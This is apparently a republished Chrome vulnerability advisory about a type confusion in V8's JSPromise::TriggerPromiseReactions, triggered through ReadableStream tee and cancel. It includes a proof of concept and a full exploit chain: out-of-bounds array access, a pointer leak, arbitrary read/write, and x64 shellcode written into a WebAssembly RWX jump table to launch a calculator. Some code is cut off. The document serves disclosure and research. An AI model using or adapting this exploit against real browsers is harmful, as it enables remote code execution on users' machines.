Chrome JSPromise::TriggerPromiseReactions Type Confusion

Chrome suffers from a type confusion vulnerability in JSPromise::TriggerPromiseReactions.

MD5 | 1da1ae35b490e46af58d5192967700dd

Chrome: Type confusion in JSPromise::TriggerPromiseReactions 

==1. TriggerPromiseReactions==
Handle<Object> JSPromise::TriggerPromiseReactions(Isolate* isolate,
Handle<Object> reactions,
Handle<Object> argument,
PromiseReaction::Type type) {
DCHECK(reactions->IsSmi() || reactions->IsPromiseReaction());

// We need to reverse the {reactions} here, since we record them
// on the JSPromise in the reverse order.
DisallowHeapAllocation no_gc;
Object current = *reactions;
Object reversed = Smi::kZero;
while (!current->IsSmi()) {
Object next = PromiseReaction::cast(current)->next(); // ***1***
reversed = current;
current = next;
reactions = handle(reversed, isolate);

A Semmle query has triggered a warning that |TriggerPromiseReactions| performs a
typecast on the |reactions| argument without prior checks[1]. Upon further
inspection, it turned out that the JSPromise class reuses a single field to
store both the result object and the reaction list (chained callbacks).
Moreover, |JSPromise::Fulfill| and |JSPromise::Reject| don't ensure that the
promise is still in the \"pending\" state, instead they rely on the default
|resolve/reject| callbacks that are exposed to user JS code and use the
|PromiseBuiltins::kAlreadyResolvedSlot| context variable to determine whether
the promise has been resolved yet. So, it's enough to call, for example,
|JSPromise::Fulfill| twice on the same Promise object to trigger the type

==2. Thenable objects and JSPromise::Resolve==
MaybeHandle<Object> JSPromise::Resolve(Handle<JSPromise> promise,
Handle<Object> resolution) {
// 8. Let then be Get(resolution, \"then\").
MaybeHandle<Object> then;
if (isolate->IsPromiseThenLookupChainIntact(
Handle<JSReceiver>::cast(resolution))) {
// We can skip the \"then\" lookup on {resolution} if its [[Prototype]]
// is the (initial) Promise.prototype and the Promise#then protector
// is intact, as that guards the lookup path for the \"then\" property
// on JSPromise instances which have the (initial) %PromisePrototype%.
then = isolate->promise_then();
} else {
then =
JSReceiver::GetProperty(isolate, Handle<JSReceiver>::cast(resolution),
isolate->factory()->then_string()); // ***2***

This is a known behavior, and yet it has already caused some problems in the
past (see
When the promise resolution is an object that has the |then| property, |Resolve|
synchronously accesses that property and might invoke a user-defined getter[2],
which means it's possible to run user JavaScript while the promise is in the
middle of the resolution process. However, just calling the |resolve| callback
inside the getter is not enough to trigger the type confusion because of the
|kAlreadyResolvedSlot| check. Instead, one should look for places where
|JSPromise::Resolve| is called directly.

==3. V8 extras and ReadableStream==
function ReadableStreamTee(stream) {
const reader = AcquireReadableStreamDefaultReader(stream);

let closedOrErrored = false;
let canceled1 = false;
let canceled2 = false;
let reason1;
let reason2;
const cancelPromise = v8.createPromise();

function pullAlgorithm() {
return thenPromise(
ReadableStreamDefaultReaderRead(reader), ({value, done}) => {
if (done && !closedOrErrored) {
if (!canceled1) {
ReadableStreamDefaultControllerClose(branch1controller); // ***3***
if (!canceled2) {
closedOrErrored = true;
function cancel1Algorithm(reason) {
canceled1 = true; // ***4***
reason1 = reason;
if (canceled2) {
const cancelResult = ReadableStreamCancel(stream, [reason1, reason2]);
resolvePromise(cancelPromise, cancelResult);
return cancelPromise;
function ReadableStreamCancel(stream, reason) {
stream[_readableStreamBits] |= DISTURBED;

const state = ReadableStreamGetState(stream);
if (state === STATE_CLOSED) {
return Promise_resolve(undefined);
if (state === STATE_ERRORED) {
return Promise_reject(stream[_storedError]);


const sourceCancelPromise =
ReadableStreamDefaultControllerCancel(stream[_controller], reason);
return thenPromise(sourceCancelPromise, () => undefined);

function ReadableStreamClose(stream) {
ReadableStreamSetState(stream, STATE_CLOSED);

const reader = stream[_reader];
if (reader === undefined) {

if (IsReadableStreamDefaultReader(reader) === true) {
request =>
ReadableStreamCreateReadResult(undefined, true,
reader[_readRequests] = new binding.SimpleQueue();

resolvePromise(reader[_closedPromise], undefined);

A tiny part of Blink (namely, Streams API) is implemented as a v8 extra, i.e., a
set of JavaScript classes with a couple of internal v8 methods exposed to them.
The relevant ones are |v8.resolvePromise| and |v8.rejectPromise|, as they just
call |JSPromise::Resolve/Reject| and don't check the status of the promise
passed as an argument. Instead, the JS code around them defines a bunch of
boolean variables to track the stream's state. Unfortunately, there's a scenario
in which the state checks could be bypassed:
1. Create a new ReadableStream with an underlying source object that exposes the
stream controller's |stop| method.
2. Call the |tee| method to create a pair of child streams.
3. Make a read request for one of the child streams thus putting a new Promise
object to the |_readRequests| queue.
4. Define a getter for the |then| property on Object.prototype. From this point
every promise resolution where the resolution object inherits from
Object.prototype will call the getter.
5. Call |cancel| on the child stream. The call stack will eventually look like:
ReadableStreamCancel -> ReadableStreamClose -> resolvePromise ->
JSPromise::Resolve -> the |then| getter.
6. Inside the getter, calling regular methods on the child stream won't work
because its state is already set to \"closed\", but an attacker can call the
controller's |stop| method. Because |ReadableStreamClose| is executed before the
cancel callback[4], the |cancel1| flag won't be set yet, so the |close| method
will be called again[3] resolving the promise that is currently in the middle
of the resolution process.

The only problem here is the code [3] gets executed as another promise's
reaction, i.e. as a microtask, and microtasks are supposed to be executed

==4. MicrotasksScope==
V8 exposes the MicrotasksScope class to Blink to control microtask execution.
MicrotasksScope's destructor will run all scheduled microtasks synchronously, if
the object that's being destructed is the top-level MicrotasksScope. Therefore,
calling a Blink method that instantiates a MicrotasksScope should allow running
the scheduled promise reaction[3] synchronously. However, usually all JS code
(<script> body, event handlers, timeouts) already runs inside a MicrotasksScope.
One way to overcome this is to define the JS code as the |handleEvent| property
getter of an EventListener object and add the listener to, e.g., the |load|

Putting it all together, the PoC is as follows:
performMicrotaskCheckpoint = () => {
document.createNodeIterator(document, -1, {
acceptNode() {
return NodeFilter.FILTER_ACCEPT;
} }).nextNode();

runOutsideMicrotasksScope = func => {
window.addEventListener(\"load\", { get handleEvent() {
} });

runOutsideMicrotasksScope (() => {
let stream = new ReadableStream({ start(ctr) { controller = ctr } });
let tee_streams = stream.tee();
let reader = tee_streams[0].getReader();;
let then_counter = 0;

Object.prototype.__defineGetter__(\"then\", function() {
if (++then_counter == 1) {

==5. Exploitation==
The bug allows an attacker to make the browser treat the object of their choice
as a PromiseReaction. If the second qword of the object contains a value that
looks like a tagged pointer, |TriggerPromiseReactions| will treat it as a
pointer to another PromiseReaction in the reaction chain and try to reverse the
chain. This primitive is not very useful without a separate info leak bug. If
the second qword looks like a Smi, the method will overwrite the first, third
and fourth qwords with tagged pointers. So, if the attacker allocates a
HeapNumber and a FixedDobuleArray that are adjacent to each other, and the
umber's value has its LSB set to 0, the function will overwrite the array's
length with a pointer that looks like a sufficiently large Smi. The array's map
pointer will also get corrupted, but that's not important (at least, for release

| HeapNumber || FixedDoubleArray |
| Map | Value || Map | Length | Element 0 | ... |

Once the attacker has the relative read/write primitive, it's easy to construct
the pointer leak and arbitrary read/write primitives by finding the offsets of a
couple other objects allocated next to the array. Finally, to execute the
shellcode the exploit overwrites the jump table of a WebAssembly function, which
is stored in a RWX memory page.

Exploit (the shellcode runs gnome-calculator on linux x64):
performMicrotaskCheckpoint = () => {
document.createNodeIterator(document, -1, {
acceptNode() {
return NodeFilter.FILTER_ACCEPT;
} }).nextNode();

runOutsideMicrotasksScope = func => {
window.addEventListener(\"load\", { get handleEvent() {
} });

let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
data_view.setUint32(0, dword, true);
return data_view.getUint32(0, false);

reverseQword = qword => {
data_view.setBigUint64(0, qword, true);
return data_view.getBigUint64(0, false);

floatAsQword = float => {
data_view.setFloat64(0, float);
return data_view.getBigUint64(0);

qwordAsFloat = qword => {
data_view.setBigUint64(0, qword);
return data_view.getFloat64(0);

let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
const MARKER = 0x31337;

leakPtr = obj => {
ptr_leak_object[0] = obj;
return floatAsQword(oob_access_array[ptr_leak_index]);

getQword = address => {
oob_access_array[external_ptr_index] = qwordAsFloat(address);
return arbirary_access_array[0];

setQword = (address, value) => {
oob_access_array[external_ptr_index] = qwordAsFloat(address);
arbirary_access_array[0] = value;

getField = (object_ptr, num, tagged = true) =>
object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));

setBytes = (address, array) => {
for (let i = 0; i < array.length; ++i) {
setQword(address + BigInt(i), BigInt(array[i]));

// ------------------------- \\\\

runOutsideMicrotasksScope (() => {
oob_access_array = Array(16).fill(1.1);
ptr_leak_object = {};
arbirary_access_array = new BigUint64Array(1);
oob_access_array.length = 0;

const heap_number_to_corrupt = qwordAsFloat(0x10101010n);
oob_access_array[0] = 1.1;
ptr_leak_object[0] = MARKER;

let stream = new ReadableStream({ start(ctr) { controller = ctr } });
let tee_streams = stream.tee();
let reader = tee_streams[0].getReader();;;
let then_counter = 0;

Object.prototype.__defineGetter__(\"then\", function() {
let counter_value = ++then_counter;
if (counter_value == 1) {
throw 0x123;
} else if (counter_value == 2) {
throw heap_number_to_corrupt;
} else if (counter_value == 4) {
oob_access_array.length = 60;


findOffsets = () => {
let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
++ptr_leak_index) {
if (oob_access_array[ptr_leak_index] === markerAsFloat) {

let oneAsFloat = qwordAsFloat(1n << 32n);
for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
++external_ptr_index) {
if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
oob_access_array[external_ptr_index - 1] === 0) {

if (ptr_leak_index === oob_access_array.length ||
external_ptr_index === oob_access_array.length) {
throw \"Couldn't find the offsets\";

runCalc = () => {
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
const wasm_instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

const shellcode = [
0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00

wasm_instance_ptr = leakPtr(wasm_instance);
const jump_table = getQword(getField(wasm_instance_ptr, 32));
setBytes(jump_table, shellcode);

Google Chrome 72.0.3626.96 (Official Build) (64-bit)
Google Chrome 74.0.3702.0 (Official Build) dev (64-bit)

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: [email protected]

Related Posts